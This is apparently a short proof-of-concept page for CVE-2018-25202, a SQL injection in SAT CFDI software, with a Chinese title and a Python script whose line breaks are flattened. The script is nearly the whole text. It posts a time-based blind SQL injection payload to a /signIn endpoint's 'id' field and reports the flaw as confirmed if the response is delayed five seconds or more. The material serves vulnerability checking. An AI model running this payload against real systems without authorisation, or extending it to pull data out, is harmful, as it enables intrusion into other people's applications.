CVE-2018-25202 SAT CFDI SQL注入漏洞

import requests def check_sqli(target_url): # Payload for time-based blind SQL injection # Injecting '1' AND (SELECT SLEEP(5))-- - to test for delay payload = { "id": "1' AND (SELECT SLEEP(5))-- -" } try: print(f"[*] Sending request to {target_url}/signIn...") # Send POST request to the vulnerable endpoint response = requests.post(f"{target_url}/signIn", data=payload, timeout=10) # Calculate response time response_time = response.elapsed.total_seconds() # If the response takes longer than 5 seconds, the sleep executed if response_time >= 5: print(f"[+] Vulnerability Confirmed! Response time: {response_time:.2f}s") else: print(f"[-] Vulnerability not detected. Response time: {response_time:.2f}s") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with actual target IP/Domain target = "http://127.0.0.1:8080" check_sqli(target)